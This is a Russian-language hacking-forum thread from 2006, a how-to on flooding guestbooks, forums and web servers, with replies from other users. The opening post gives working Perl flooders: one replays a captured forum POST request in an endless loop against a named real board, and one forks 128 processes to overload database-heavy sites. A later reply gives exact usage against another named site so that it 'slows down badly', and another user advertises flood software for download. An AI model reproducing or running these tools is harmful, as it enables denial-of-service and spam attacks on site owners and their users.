ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Чужие Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Howto.Флуд гостевых книг, форумов и т.д.
  #1  
Старый 26.11.2006, 02:45
Аватар для Gh0s7
Gh0s7
Участник форума
Регистрация: 23.11.2006
Сообщений: 226
Провел на форуме:
1045663

Репутация: 864
По умолчанию Howto.Флуд гостевых книг, форумов и т.д.

Флуд веба в домашних условиях.

Эта статья - некий аналог доки "Написание эксплоита для Web в домашних условиях"
Только мы будем писать всякие флудеры и прочие нехорошие вещи :)

Прошу каментить и оценивать

Начали :)

I Intro

Наверняка каждый из нас заходил на домашнюю страничку недруга и видел там пункт "гостевая книга". Многим захотелось написать туда сообщение.И не одно :)

В этой статье я расскажу как такое можно сделать.
Сразу оговорюсь, что все флудеры я буду писать на перле.

Итак, вот что нам понадобится:
1)Браузер Firefox с плагином Live HTTP Headers.Без него можно, но гораздо удобней именно с плагином.
2)perl, желательно на nix-системе.Возможны варианты с денвером, active perl'ом, cygwin'ом
3)Прямые руки и начальные знания HTTP протокола и программирования.
Постараюсь описать на реальных примерах.

II Inside

Как устроены гостевые книги? Чаще всего это html-форма через которую клиент передает сообщение и php-скрипт, который собственно это сообщение добавляет в базу (реже - файл). Для примера возьмем форум одного "мега-портала" - linuxsuxx.fastbb.ru

Вот "скелет" флудера:
Код:
#!/usr/bin/perl -w

use IO::Socket;
$host = "[victimhost]";
$pack='[http packet dump]'
while (1) {
  my $h_sock = new IO::Socket::INET (PeerAddr => "$host", PeerPort => 80, PeerProto => tcp) or die "No Answer";
  print $h_sock $req;
}
Как видите, все очень просто.
Переменной $host задается хост для флуда, в $pack пихается дамп пакета.

Т.к. все на борда.ру написано на яваскриптах, мы будем использовать Live HTTP Heders или любой другой аналогичный плагин. Запускаем LiveHTTPHeaders, пишем постик на свой вкус и жмем "отправить". Получаем дамп трафика.Keep-Alive лушче сразу удалить, потому что нам сервер нужен живим, а кипаливом мы его совсем убьем :)

Вот код флудера под борду:
Код:
#!/usr/bin/perl -w

use IO::Socket;

$host = " linuxsuxx.fastbb.ru";

$pack='POST / HTTP/1.1
Host: linuxsuxx.borda.ru
User-Agent: Agent Smith
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q= 0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Referer: http://linuxsuxx.borda.ru/?0-0
Cookie: s=7fnô5fôù
Content-Type: application/x-www-form-urlencoded
Content-Length: 258

parol=7fn%F45f%F4%F9&work=2&razdel=0&start=0&filenumber=&msgid=&start_page_re=0&adresat=&only_new_re=0&statisc=308777%601280%6024%60no%60no%60no%60no%60no&title=Another+Fl00d&message=%D2%F3%F2+%E1%FB%EB+%CF%F3%EF%E0+%C2%E0%F1%FC%EA%E8%ED.&nick=3v1l+b0t&pass=';

while (1) {

my $h_sock = new IO::Socket::INET (PeerAddr => "$host", PeerPort => 80, PeerProto => tcp ) or die "sock";
print $h_sock $pack;

}
По вкусу можно вставлять sleep в цикл :)
У нас флудер однопоточный, т.к. нам нужно не убить сервер а зафлудить скрипт. Скрипт готов. Запускаем. Наслаждаемся :)

III Флуд серверов, баз данных.

Иногда бывает проще задосить сервер целиком.
Некоторые навароченные движки делают под 20 SQL запросов за раз. Давайте подумаем, что будет если мы одновременно пошелм 5 запросов? А 10?
Чем больше запросов - тем проще будет скрипт завалить.
Код многопоточного флудера:
Код:
#!/usr/bin/perl -w

#########################
# USE AT YOUR OWN RISK  #
#     Coded by Gh0s7    #
#########################

use IO::Socket;

if(@ARGV < 3) { usage();}

$host  = $ARGV[0];
$port  = $ARGV[1];
$proto = $ARGV[2];
$ifile = $ARGV[3];

$thread= 128;

sub usage
{
        print "#############################################\n";
        print "./ps.pl [host] [port] [proto] [Packet_file]  \n";
        print "#############################################\n";
        exit 1;
}

open    (IFILE,$ifile) or die ("iFile");
sysread (IFILE,$buff,5000);
close   (IFILE);
$sock  = "$buff\n";

#Test Fork

for ( $i = 1; $i < $thread; $i++)
{
  $proc = fork;
  if ( $proc == "0" ) { last; }
  print ("[ $proc ($i) Process Ready ]\n") || print "[ Cannot Fork ]\n" && last;
#  print ("[ $proc ($i) Started! ]\n");

}
  while ( 1 )

  {
        my $h_sock = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "$port", Proto => "$proto" ) or print ("[ $$ Closed Sock ] \n") && sleep 5 && next;
        print $h_sock "$sock" ;
        print "[ $$ Send Req ]\n";
#       sleep 0.5;
#Use at your own risk!
#NO TIMEOUT!

  }


IV Outro

Как видите флуд - очень простая вещь.Главное - знать основы протокола HTTP. А дальше все делается по анологии ;)

Links:
HTTP 1.0 rfc
Для Тренировки ;)
Live HTTP Headers

Не шали (С)
 
Ответить с цитированием

  #2  
Старый 26.11.2006, 03:31
Аватар для Gh0s7
Gh0s7
Участник форума
Регистрация: 23.11.2006
Сообщений: 226
Провел на форуме:
1045663

Репутация: 864
По умолчанию

Кто и какого переместил статью в "чужие"?
Статья моя.Напсиана только что.Прошу вернуть.

[Added]

Поискал в гугле.Первый ответ на "флуд веба в домаших условиях" - фак по домашним роутерам.А вторая... на эм... форум зоофилов...интересно, почему.

Added

NOFEAR, спасибо за возврат доки на место

Последний раз редактировалось Gh0s7; 26.11.2006 в 03:39..
 
Ответить с цитированием

  #3  
Старый 26.11.2006, 03:58
Аватар для Кэйн
Кэйн
Banned
Регистрация: 30.10.2006
Сообщений: 38
Провел на форуме:
55140

Репутация: -21
По умолчанию

Я перл актив поставил но у меня ничего не получаеться
Там что ошибки какие то?
 
Ответить с цитированием

  #4  
Старый 26.11.2006, 04:19
Аватар для KPOT_f!nd
KPOT_f!nd
Познавший АНТИЧАТ
Регистрация: 25.08.2006
Сообщений: 1,524
Провел на форуме:
3405508

Репутация: 1745


По умолчанию

Цитата:
Там что ошибки какие то?
Выложи какие баги он тебе выдал!
 
Ответить с цитированием

  #5  
Старый 26.11.2006, 06:29
Аватар для Кэйн
Кэйн
Banned
Регистрация: 30.10.2006
Сообщений: 38
Провел на форуме:
55140

Репутация: -21
По умолчанию

При запуске однопоточного флудера:

Unquoted string "tcp" may clash with future reserved word at D:\путь к сплоиту\sploit.pl
sploit.pl line 23.

При запуске многопоточного флудера:

print (...) interpreted as function at D:\путь к сплоиту\sploit.pl line 45.
#############################################
./ps.pl [host] [port] [proto] [Packet_file]
#############################################

Я думаю что это связано с ошибкой (а возможно их несколько) в коде и не исключаю что они сделаны умышленно.
Знающих людей прошу найти ошибку и исправить
 
Ответить с цитированием

  #6  
Старый 26.11.2006, 13:54
Аватар для Gh0s7
Gh0s7
Участник форума
Регистрация: 23.11.2006
Сообщений: 226
Провел на форуме:
1045663

Репутация: 864
По умолчанию

Цитата:
Сообщение от Кэйн  
При запуске однопоточного флудера:

Unquoted string "tcp" may clash with future reserved word at D:\путь к сплоиту\sploit.pl
sploit.pl line 23.

При запуске многопоточного флудера:

print (...) interpreted as function at D:\путь к сплоиту\sploit.pl line 45.
#############################################
./ps.pl [host] [port] [proto] [Packet_file]
#############################################

Я думаю что это связано с ошибкой (а возможно их несколько) в коде и не исключаю что они сделаны умышленно.
Знающих людей прошу найти ошибку и исправить
Хм.Моя вина. Оно не выдало ни одной ошибки, все ок.
Перевожу:
ипсользование: /путь/к/флудеру/ хост(кого флудить) порт(чаще всего 80) протокол (чаще всего tcp) дамп_пакета
Т.к. он многопоточный (на форке, хотя ксури был против ) то завалить можно практически все.Чем тяжелее скрипт (больше запросово к базе данных) тем легче его завалить.
Для примера возьмем forum.cosmo.ru
Апач на 80 порту, использует тсп (ибо хттп )
Видим что борда у них навароченная.Создаем файлик ind.txt с содержанием:
Код:
GET / HTTP/1.0
Пустую строку сохранаяем тоже.Даем команду:
/путь/к/флудеру.pl forum.cosmo.ru 80 tcp ind.txt

После этого он будет сиильно тормозить
 
Ответить с цитированием

  #7  
Старый 11.12.2006, 16:45
Аватар для n4n0bit
n4n0bit
Познающий
Регистрация: 11.09.2006
Сообщений: 59
Провел на форуме:
70702

Репутация: 52
По умолчанию

Gh0s7 поправлю - потоки и процессы разные вещи.
У тебя как ты думал создается в цикле заданное число процессов, но на самом деле они создаются последовательно, а должно быть однавременно!
 
Ответить с цитированием

  #8  
Старый 22.12.2006, 07:02
Аватар для George767
George767
Участник форума
Регистрация: 10.01.2006
Сообщений: 193
Провел на форуме:
553876

Репутация: 81
По умолчанию

Цитата:
Сообщение от Gh0s7  
/путь/к/флудеру.pl forum.cosmo.ru 80 tcp ind.txt

После этого он будет сиильно тормозить

/путь/к/флудеру.pl - имеется ввиду флудёр что вы описали вначале статьи?
 
Ответить с цитированием

  #9  
Старый 22.12.2006, 19:03
Аватар для Sn@k3
Sn@k3
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме:
5151669

Репутация: 1198


Отправить сообщение для Sn@k3 с помощью ICQ
По умолчанию

Флуд под Windows
Хватит мусолить клаву, пора и мышь задействовать -))
А почему бы и нет???? вот моя программа, кстати кажеться на первый взгляд аналог InetCrack, но моя работает ))) по крайней мере флудила там, где инеткряк не пытался даже...
Всё ясно, как день... достаточно перехватить сессию и вставить в мой софт..

//скачать //30 кб


Перехватить пакет можно естсественно Naviscope:
//скачать //313 кб
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
списки гостевых книг, форумов где гости имеют право писать сообщения. BlackCats Инвайты, mails, базы - Покупка, продажа 5 18.06.2006 01:26



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ